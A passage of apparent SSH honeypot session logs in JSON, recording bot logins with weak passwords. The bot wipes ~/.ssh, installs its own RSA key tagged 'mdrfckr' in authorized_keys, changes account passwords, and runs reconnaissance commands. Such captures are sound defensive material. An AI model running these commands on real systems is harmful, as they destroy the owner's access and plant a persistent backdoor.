GNU/Linux"},{"seq":27,"at":"2026-08-27T12:07:27.619485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:07:29.053628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:07:29.320038+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:07:30.326749+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:07:30.593806+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:07:31.550745+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"p@ssw0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"e7c2e9db-44ae-4261-8c6c-ee98f3c6371b","name":"solemn-fearless-jackal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39742,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:07:10.994762+00:00","ended_at":"2026-08-27T12:07:12.173496+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a1b3a358-acda-4df7-9bb6-d4d53369c969","name":"keen-pewter-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39736,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:07:09.084268+00:00","ended_at":"2026-08-27T12:07:10.476274+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f663e97f-d93e-405e-ae8b-edc39f1f03b2","name":"electric-crystal-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":35516,"username":"filter","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:05:28.286111+00:00","ended_at":"2026-08-27T12:05:29.969347+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:05:02.087152+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:05:02.354016+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:05:05.725647+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:05:07.142481+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:05:07.408501+00:00","kind":"input","latency_ms":null,"data":"echo -e \"filter\\nTRbOl2K84jKU\\nTRbOl2K84jKU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:05:07.684697+00:00","kind":"input","latency_ms":null,"data":"echo \"filter\\nTRbOl2K84jKU\\nTRbOl2K84jKU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:05:07.941123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:05:08.546504+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:05:09.404352+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:05:09.846482+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:05:10.113710+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:05:11.195719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:05:11.462099+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:05:12.511345+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:05:12.780123+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:05:13.967218+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:05:14.234830+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:05:15.532096+00:00","kind":"output","latency_ms":null,"data":" 12:05:15 up 7 days, 8:55, 0 user, load average: 0.19, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:05:15.797699+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:05:17.228182+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:05:17.497513+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:05:19.155631+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:05:19.426751+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:05:21.144603+00:00","kind":"output","latency_ms":null,"data":"top - 12:05:21 up 7 days, 8:55, 0 user, load average: 0.19, 0.22, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:05:21.411507+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:05:23.413152+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:05:23.678387+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:05:24.982321+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:05:25.248435+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:05:26.089015+00:00","kind":"output","latency_ms":null,"data":"filter"},{"seq":31,"at":"2026-08-27T12:05:26.355517+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:05:28.020611+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:05:28.287051+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:05:29.892777+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"filter","password":"filter","method":"password","accepted":true,"tier":"other"}]} {"id":"f6abf22e-026e-4fd0-9dd9-70138f768596","name":"sterling-brave-mallard","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":35534,"username":"filter","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:05:04.265739+00:00","ended_at":"2026-08-27T12:05:05.647529+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"filter","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5879a494-a808-4915-beee-6a300e11d5fd","name":"wistful-coral-hamster","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":35532,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:05:02.940516+00:00","ended_at":"2026-08-27T12:05:03.745535+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bee65c64-e89f-48f1-85aa-d0bc1a21c78d","name":"freckled-gallant-sable","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":37618,"username":"newuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:03:29.469612+00:00","ended_at":"2026-08-27T12:03:30.457544+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:03:01.834473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:03:02.096185+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:03:06.269622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:03:08.237764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:03:08.498278+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\ngetxE23Lhnir\\ngetxE23Lhnir\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:03:08.759485+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\ngetxE23Lhnir\\ngetxE23Lhnir\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:03:09.019871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:03:09.622197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:03:09.705232+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:03:10.890059+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:03:11.151098+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:03:12.584886+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:03:12.849029+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:03:14.383147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:03:14.645627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:03:15.574121+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:03:15.834434+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:03:16.954951+00:00","kind":"output","latency_ms":null,"data":" 12:03:16 up 7 days, 8:53, 0 user, load average: 0.13, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:03:17.216199+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:03:18.228177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:03:18.488282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:03:20.289012+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:03:20.550314+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:03:21.668349+00:00","kind":"output","latency_ms":null,"data":"top - 12:03:21 up 7 days, 8:53, 0 user, load average: 0.13, 0.1, 0.1\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:03:21.929355+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:03:23.514941+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:03:23.777600+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:03:25.577452+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:03:25.838420+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:03:27.604825+00:00","kind":"output","latency_ms":null,"data":"newuser"},{"seq":31,"at":"2026-08-27T12:03:27.866811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:03:29.209942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:03:29.470438+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:03:30.384237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"newuser","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"4083ec79-1a7d-447e-bd30-17840977d2d8","name":"vivid-distant-puffin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":37634,"username":"newuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:03:04.464012+00:00","ended_at":"2026-08-27T12:03:06.196009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"newuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8bdae024-2064-4403-89f2-885d31f73d4a","name":"prairie-granite-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":37626,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:03:02.698066+00:00","ended_at":"2026-08-27T12:03:03.933097+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d2c5cdfc-67aa-4c21-b0e9-b364bc081355","name":"glacial-diligent-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":54546,"username":"web","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:01:29.961194+00:00","ended_at":"2026-08-27T12:01:31.230450+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:01:03.237528+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:01:03.493580+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:07.902231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:01:08.879369+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:01:09.146578+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nCDMhX2klvsTX\\nCDMhX2klvsTX\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:01:09.409242+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nCDMhX2klvsTX\\nCDMhX2klvsTX\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:01:09.673189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:01:10.753118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:01:10.811194+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:01:11.046766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:01:11.075472+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:01:13.186621+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:01:13.452518+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:01:14.509308+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:01:14.775255+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:01:15.957718+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:01:16.223652+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:01:17.307873+00:00","kind":"output","latency_ms":null,"data":" 12:01:17 up 7 days, 8:51, 0 user, load average: 0.12, 0.16, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:01:17.570242+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:01:18.992377+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:01:19.257688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:01:20.219284+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:01:20.481393+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:01:22.203839+00:00","kind":"output","latency_ms":null,"data":"top - 12:01:22 up 7 days, 8:51, 0 user, load average: 0.12, 0.16, 0.12\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:01:22.467818+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:01:23.409797+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:01:23.673923+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:01:25.848570+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:01:26.116128+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:01:27.975089+00:00","kind":"output","latency_ms":null,"data":"web"},{"seq":31,"at":"2026-08-27T12:01:28.238950+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:01:29.696882+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:01:29.962094+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:01:31.153085+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"web","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"cea82a4d-f675-4ee9-8a87-3033d10dbbfb","name":"wooded-gilded-firefly","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":54564,"username":"web","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:01:06.075675+00:00","ended_at":"2026-08-27T12:01:07.824013+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"web","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8d2b2667-430e-464d-8694-8c747297d5b9","name":"velvet-loyal-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":54554,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:01:04.130265+00:00","ended_at":"2026-08-27T12:01:05.555064+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fdc83405-d69b-4c4d-97a4-88a93d5b90cd","name":"foggy-hearty-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55200,"username":"ben","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":267,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:59:30.677901+00:00","ended_at":"2026-08-27T11:59:32.432505+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T11:59:04.223178+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:04.489658+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:08.176156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:09.255922+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:09.523843+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nZZ7Yg0DYIwrv\\nZZ7Yg0DYIwrv\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:59:09.788046+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nZZ7Yg0DYIwrv\\nZZ7Yg0DYIwrv\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:59:10.055021+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:11.003028+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:59:11.264152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:59:11.268223+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 